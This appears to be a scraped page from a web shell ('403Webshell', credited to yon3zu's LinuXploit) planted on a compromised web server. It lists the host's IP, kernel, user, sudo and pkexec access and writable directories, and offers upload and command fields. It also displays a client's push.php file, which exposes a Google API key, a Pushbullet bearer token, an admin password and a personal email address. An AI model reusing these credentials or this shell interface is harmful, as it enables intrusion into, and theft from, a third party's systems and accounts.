403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/handy-sofort-orten.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/handy-sofort-orten.de/web//push.php
<?php
/*DEFINE("GOOGLE_API", "AIzaSyCdY1aWP-QOOURv0S5lBOx3QGtz4_r2g-c");
$sGoogle = file_get_contents('https://maps.googleapis.com/maps/api/directions/json?origin=54.173695,12.087917&destination=Laage&region=de&mode=transit&key=' . GOOGLE_API);

echo "<pre>";
print_r(json_decode($sGoogle));
echo "</pre>";*/

DEFINE("API_TOKEN", "o.yYdiIeMpVSwBJHOnx6CnP4WF1e8OvUfu");

function send_push($title, $msg) {
    $data = json_encode(array(
        'active' => true,
        'dismissed' => false,
        'type' => 'note',
        'title' => $title,
        'body' => $msg . "\n" . date('d.m.Y H:i') . ' Uhr',
        'receiver_iden' => "ujEFU0l9X9U",
        'sender_name' => 'PaCIM',
        'sender_iden' => "ujEFU0l9X9U"
    ));

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'https://api.pushbullet.com/v2/pushes?active=true'); 
    curl_setopt($ch, CURLOPT_HEADER, false); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
    //curl_setopt($ch, CURLOPT_HTTPGET, true);
    
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'Authorization: Bearer '.API_TOKEN
    ));

    $data = curl_exec($ch);
    curl_close($ch);
    
    echo "<pre>";
    print_r(json_decode($data));
    echo "</pre>";
}

send_push("Neue PaCIM Buchung", "Rechnung PAS2002");

//pushbullet("test");
die();
/*$username = 'admin';
$password = 'LoJPesiSK9xLCFAy3OhB';
$host = 'https://api.pushbullet.com/v2/users/me';
$method = "GET";


$curl = curl_init('https://api.pushbullet.com/v2/pushes');

curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, "['Authorization: Bearer ' . $token]");
curl_setopt($curl, CURLOPT_POSTFIELDS, ["email" => "arndt.nico@googlemail.com", "type" => "link", "title" => "Demo Pushbullet Notification", "body" => "You have new comment(s)!", "url" => "http://demo.example.com/comments"]);

echo $curl;
echo "<pre>";
print_r(json_decode($curl));
echo "</pre>";*/

Youez - 2016 - github.com/yon3zu
LinuXploit